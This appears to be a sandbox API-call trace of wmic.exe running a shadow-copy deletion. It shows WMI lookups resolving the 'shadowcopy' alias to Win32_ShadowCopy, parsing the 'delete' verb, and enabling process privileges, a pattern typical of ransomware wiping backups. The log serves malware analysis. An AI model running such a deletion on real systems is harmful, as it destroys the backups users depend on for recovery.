WbemLocator:IWbemLocator:ConnectServer (in: This=0x190828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e0 | out: ppNamespace=0xd1c1e0*=0x19d00c) returned 0x0 [0067.429] free (_Block=0x21420a8) [0067.429] free (_Block=0x2142078) [0067.429] CoSetProxyBlanket (pProxy=0x19d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.429] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.429] GetCurrentThreadId () returned 0xcc4 [0067.429] ??0CHString@@QAE@XZ () returned 0x2bfa0c [0067.429] malloc (_Size=0xc) returned 0x2142078 [0067.429] malloc (_Size=0xc) returned 0x21420a8 [0067.429] malloc (_Size=0xc) returned 0x21420c0 [0067.429] malloc (_Size=0xc) returned 0x21420d8 [0067.429] SysStringLen (param_1="root\\cli") returned 0x8 [0067.429] SysStringLen (param_1="\\") returned 0x1 [0067.430] malloc (_Size=0xc) returned 0x21420f0 [0067.430] SysStringLen (param_1="root\\cli\\") returned 0x9 [0067.430] SysStringLen (param_1="ms_409") returned 0x6 [0067.430] free (_Block=0x21420d8) [0067.430] free (_Block=0x21420c0) [0067.430] free (_Block=0x21420a8) [0067.430] free (_Block=0x2142078) [0067.430] malloc (_Size=0xc) returned 0x2142078 [0067.430] WbemLocator:IWbemLocator:ConnectServer (in: This=0x190828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e4 | out: ppNamespace=0xd1c1e4*=0x19d064) returned 0x0 [0067.434] free (_Block=0x2142078) [0067.435] free (_Block=0x21420f0) [0067.435] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.435] GetCurrentThreadId () returned 0xcc4 [0067.435] ??0CHString@@QAE@XZ () returned 0x2bfa78 [0067.435] malloc (_Size=0xc) returned 0x21420f0 [0067.435] malloc (_Size=0xc) returned 0x2142078 [0067.435] malloc (_Size=0xc) returned 0x21420a8 [0067.435] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0067.435] malloc (_Size=0x3a) returned 0x45feb0 [0067.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd1f7c, cbMultiByte=-1, lpWideCharStr=0x45feb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0067.435] free (_Block=0x45feb0) [0067.435] malloc (_Size=0xc) returned 0x21420c0 [0067.435] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0067.435] SysStringLen (param_1="shadowcopy") returned 0xa [0067.435] malloc (_Size=0xc) returned 0x21420d8 [0067.435] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0067.435] SysStringLen (param_1="'") returned 0x1 [0067.435] free (_Block=0x21420c0) [0067.435] free (_Block=0x21420a8) [0067.435] free (_Block=0x2142078) [0067.436] free (_Block=0x21420f0) [0067.436] IWbemServices:GetObject (in: This=0x19d00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x2bfa74*=0x0, ppCallResult=0x0 | out: ppObject=0x2bfa74*=0x1a9a18, ppCallResult=0x0) returned 0x0 [0067.441] malloc (_Size=0xc) returned 0x21420f0 [0067.441] IWbemClassObject:Get (in: This=0x1a9a18, wszName="Target", lFlags=0, pVal=0x2bfa34*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0xffffffff, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfa34*(varType=0x8, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1="Select * from Win32_ShadowCopy", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.441] free (_Block=0x21420f0) [0067.441] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.442] malloc (_Size=0x3e) returned 0x45feb0 [0067.442] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.442] malloc (_Size=0xc) returned 0x21420f0 [0067.442] IWbemClassObject:Get (in: This=0x1a9a18, wszName="PWhere", lFlags=0, pVal=0x2bfa34*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x6e4fec, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfa34*(varType=0x8, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1=" Where ID = '#'", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.442] free (_Block=0x21420f0) [0067.442] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.442] malloc (_Size=0x20) returned 0x45fef8 [0067.442] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.442] malloc (_Size=0xc) returned 0x21420f0 [0067.442] IWbemClassObject:Get (in: This=0x1a9a18, wszName="Connection", lFlags=0, pVal=0x2bfa34*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x716994, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfa34*(varType=0xd, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x1a9dd8, varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.442] free (_Block=0x21420f0) [0067.442] IUnknown:QueryInterface (in: This=0x1a9dd8, riid=0xcd6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x2bfa6c | out: ppvObject=0x2bfa6c*=0x1a9dd8) returned 0x0 [0067.442] GetCurrentThreadId () returned 0xcc4 [0067.442] ??0CHString@@QAE@XZ () returned 0x2bf9e8 [0067.442] malloc (_Size=0xc) returned 0x21420f0 [0067.442] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="Namespace", lFlags=0, pVal=0x2bf9b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.442] free (_Block=0x21420f0) [0067.442] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.442] malloc (_Size=0x16) returned 0x45ebc8 [0067.442] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.443] malloc (_Size=0xc) returned 0x21420f0 [0067.443] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="Locale", lFlags=0, pVal=0x2bf9b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.443] free (_Block=0x21420f0) [0067.443] lstrlenW (lpString="ms_409") returned 6 [0067.443] malloc (_Size=0xe) returned 0x21420f0 [0067.443] lstrlenW (lpString="ms_409") returned 6 [0067.443] malloc (_Size=0xc) returned 0x2142078 [0067.443] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="User", lFlags=0, pVal=0x2bf9b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.443] free (_Block=0x2142078) [0067.443] malloc (_Size=0xc) returned 0x2142078 [0067.443] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="Password", lFlags=0, pVal=0x2bf9b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.443] free (_Block=0x2142078) [0067.443] malloc (_Size=0xc) returned 0x2142078 [0067.443] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="Server", lFlags=0, pVal=0x2bf9b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.443] free (_Block=0x2142078) [0067.443] lstrlenW (lpString=".") returned 1 [0067.443] malloc (_Size=0x4) returned 0x45ff20 [0067.443] lstrlenW (lpString=".") returned 1 [0067.443] malloc (_Size=0xc) returned 0x2142078 [0067.443] IWbemClassObject:Get (in: This=0x1a9dd8, wszName="Authority", lFlags=0, pVal=0x2bf9b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x214, varVal1=0x725924, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.443] free (_Block=0x2142078) [0067.443] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.443] IUnknown:Release (This=0x1a9dd8) returned 0x1 [0067.444] GetCurrentThreadId () returned 0xcc4 [0067.444] ??0CHString@@QAE@XZ () returned 0x2bf9e0 [0067.444] malloc (_Size=0xc) returned 0x2142078 [0067.444] IWbemClassObject:Get (in: This=0x1a9a18, wszName="__RELPATH", lFlags=0, pVal=0x2bf9c0*(varType=0x0, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0x19, varVal1=0x0, varVal2=0x1a9dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf9c0*(varType=0x8, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0x19, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x1a9dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0067.444] free (_Block=0x2142078) [0067.444] malloc (_Size=0xc) returned 0x2142078 [0067.444] GetCurrentThreadId () returned 0xcc4 [0067.444] ??0CHString@@QAE@XZ () returned 0x2bf970 [0067.444] ??0CHString@@QAE@PBG@Z () returned 0x2bf95c [0067.444] ??0CHString@@QAE@ABV0@@Z () returned 0x2bf8fc [0067.444] ?Empty@CHString@@QAEXXZ () returned 0x74c20510 [0067.444] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x45ff30 [0067.444] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0067.444] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2bf8dc [0067.444] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2bf8e0 [0067.444] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2bf95c [0067.444] ??1CHString@@QAE@XZ () returned 0x1 [0067.444] ??1CHString@@QAE@XZ () returned 0x1 [0067.444] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2bf8d8 [0067.444] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2bf8fc [0067.444] ??1CHString@@QAE@XZ () returned 0x1 [0067.444] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x45ff98 [0067.444] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0067.444] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2bf8dc [0067.444] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2bf8e0 [0067.444] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2bf95c [0067.444] ??1CHString@@QAE@XZ () returned 0x1 [0067.444] ??1CHString@@QAE@XZ () returned 0x1 [0067.444] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2bf8d8 [0067.444] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2bf8fc [0067.444] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.445] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x74c20504 [0067.445] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.445] malloc (_Size=0xc) returned 0x21420a8 [0067.445] malloc (_Size=0xc) returned 0x21420c0 [0067.445] malloc (_Size=0xc) returned 0x2142108 [0067.445] malloc (_Size=0xc) returned 0x2142120 [0067.445] malloc (_Size=0xc) returned 0x2142138 [0067.445] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0067.445] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0067.445] malloc (_Size=0xc) returned 0x2142150 [0067.445] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0067.445] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0067.445] malloc (_Size=0xc) returned 0x2142168 [0067.445] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0067.445] SysStringLen (param_1="\"") returned 0x1 [0067.445] free (_Block=0x2142150) [0067.445] free (_Block=0x2142138) [0067.445] free (_Block=0x2142120) [0067.446] free (_Block=0x2142108) [0067.446] free (_Block=0x21420c0) [0067.446] free (_Block=0x21420a8) [0067.446] IWbemServices:GetObject (in: This=0x19d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x2bf978*=0x0, ppCallResult=0x0 | out: ppObject=0x2bf978*=0x1a9e68, ppCallResult=0x0) returned 0x0 [0067.447] malloc (_Size=0xc) returned 0x21420a8 [0067.447] IWbemClassObject:Get (in: This=0x1a9e68, wszName="Text", lFlags=0, pVal=0x2bf924*(varType=0x0, wReserved1=0x6e, wReserved2=0x3954, wReserved3=0x6e, varVal1=0x4e, varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bf924*(varType=0x2008, wReserved1=0x6e, wReserved2=0x3954, wReserved3=0x6e, varVal1=0x7084b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x718ef0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.447] free (_Block=0x21420a8) [0067.447] SafeArrayGetLBound (in: psa=0x7084b8, nDim=0x1, plLbound=0x2bf93c | out: plLbound=0x2bf93c) returned 0x0 [0067.447] SafeArrayGetUBound (in: psa=0x7084b8, nDim=0x1, plUbound=0x2bf938 | out: plUbound=0x2bf938) returned 0x0 [0067.447] SafeArrayGetElement (in: psa=0x7084b8, rgIndices=0x2bf99c, pv=0x2bf964 | out: pv=0x2bf964) returned 0x0 [0067.447] malloc (_Size=0xc) returned 0x21420a8 [0067.447] malloc (_Size=0xc) returned 0x21420c0 [0067.447] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0067.447] free (_Block=0x21420a8) [0067.447] IUnknown:Release (This=0x1a9e68) returned 0x0 [0067.447] free (_Block=0x2142168) [0067.447] ??1CHString@@QAE@XZ () returned 0x1 [0067.447] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.447] free (_Block=0x2142078) [0067.447] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.447] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.447] malloc (_Size=0x30) returned 0x45ff30 [0067.447] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.447] free (_Block=0x21420c0) [0067.448] IUnknown:Release (This=0x1a9a18) returned 0x0 [0067.448] free (_Block=0x21420d8) [0067.448] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.448] lstrlenW (lpString="PATH") returned 4 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0067.448] lstrlenW (lpString="WHERE") returned 5 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0067.448] lstrlenW (lpString="(") returned 1 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0067.448] lstrlenW (lpString="/") returned 1 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.448] lstrlenW (lpString="-") returned 1 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.448] malloc (_Size=0xc) returned 0x21420d8 [0067.448] lstrlenW (lpString="GET") returned 3 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.448] lstrlenW (lpString="LIST") returned 4 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.448] lstrlenW (lpString="SET") returned 3 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.448] lstrlenW (lpString="CREATE") returned 6 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.448] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.448] lstrlenW (lpString="CALL") returned 4 [0067.448] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.449] lstrlenW (lpString="ASSOC") returned 5 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.449] lstrlenW (lpString="DELETE") returned 6 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.449] free (_Block=0x21420d8) [0067.449] lstrlenW (lpString="/") returned 1 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.449] lstrlenW (lpString="-") returned 1 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] malloc (_Size=0xe) returned 0x21420d8 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] lstrlenW (lpString="GET") returned 3 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.449] lstrlenW (lpString="LIST") returned 4 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.449] lstrlenW (lpString="SET") returned 3 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.449] lstrlenW (lpString="CREATE") returned 6 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.449] lstrlenW (lpString="CALL") returned 4 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.449] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.449] lstrlenW (lpString="ASSOC") returned 5 [0067.449] lstrlenW (lpString="delete") returned 6 [0067.450] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.450] lstrlenW (lpString="DELETE") returned 6 [0067.450] lstrlenW (lpString="delete") returned 6 [0067.450] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.450] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.450] malloc (_Size=0x3e) returned 0x45ff68 [0067.450] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.450] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xc2cec5c4 | out: _String="Select", _Context=0xc2cec5c4) returned="Select" [0067.450] malloc (_Size=0xc) returned 0x21420c0 [0067.450] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec5c4 | out: _String=0x0, _Context=0xc2cec5c4) returned="*" [0067.450] lstrlenW (lpString="FROM") returned 4 [0067.450] lstrlenW (lpString="*") returned 1 [0067.450] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.450] malloc (_Size=0xc) returned 0x2142078 [0067.450] free (_Block=0x21420c0) [0067.450] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec5c4 | out: _String=0x0, _Context=0xc2cec5c4) returned="from" [0067.450] lstrlenW (lpString="FROM") returned 4 [0067.450] lstrlenW (lpString="from") returned 4 [0067.450] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.450] malloc (_Size=0xc) returned 0x21420c0 [0067.450] free (_Block=0x2142078) [0067.450] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc2cec5c4 | out: _String=0x0, _Context=0xc2cec5c4) returned="Win32_ShadowCopy" [0067.450] malloc (_Size=0xc) returned 0x2142078 [0067.450] free (_Block=0x21420c0) [0067.451] free (_Block=0x45ff68) [0067.451] free (_Block=0x2142078) [0067.451] lstrlenW (lpString="SET") returned 3 [0067.451] lstrlenW (lpString="delete") returned 6 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.451] lstrlenW (lpString="CREATE") returned 6 [0067.451] lstrlenW (lpString="delete") returned 6 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.451] free (_Block=0x453228) [0067.451] malloc (_Size=0x4) returned 0x453228 [0067.451] lstrlenW (lpString="GET") returned 3 [0067.451] lstrlenW (lpString="delete") returned 6 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.451] lstrlenW (lpString="LIST") returned 4 [0067.451] lstrlenW (lpString="delete") returned 6 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.451] lstrlenW (lpString="ASSOC") returned 5 [0067.451] lstrlenW (lpString="delete") returned 6 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.451] WbemLocator:IUnknown:AddRef (This=0x190828) returned 0x3 [0067.451] free (_Block=0x452860) [0067.451] lstrlenW (lpString="") returned 0 [0067.451] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.451] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0067.451] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.451] malloc (_Size=0x14) returned 0x45ebe8 [0067.451] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.451] GetCurrentThreadId () returned 0xcc4 [0067.451] GetCurrentProcess () returned 0xffffffff [0067.451] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2bfae0 | out: TokenHandle=0x2bfae0*=0x2a0) returned 1 [0067.451] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfadc | out: TokenInformation=0x0, ReturnLength=0x2bfadc) returned 0 [0067.451] malloc (_Size=0x118) returned 0x2142448 [0067.451] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x3, TokenInformation=0x2142448, TokenInformationLength=0x118, ReturnLength=0x2bfadc | out: TokenInformation=0x2142448, ReturnLength=0x2bfadc) returned 1 [0067.452] AdjustTokenPrivileges (in: TokenHandle=0x2a0, DisableAllPrivileges=0, NewState=0x2142448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0067.452] free (_Block=0x2142448) [0067.452] CloseHandle (hObject=0x2a0) returned 1 [0067.452] lstrlenW (lpString="GET") returned 3 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.452] lstrlenW (lpString="LIST") returned 4 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.452] lstrlenW (lpString="SET") returned 3 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.452] lstrlenW (lpString="CALL") returned 4 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.452] lstrlenW (lpString="ASSOC") returned 5 [0067.452] lstrlenW (lpString="delete") returned 6 [0067.452] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.452] lstrlenW (lpString="CREATE") returned 6 [0067.452] lstrlenW (lpString="delete") returned 6 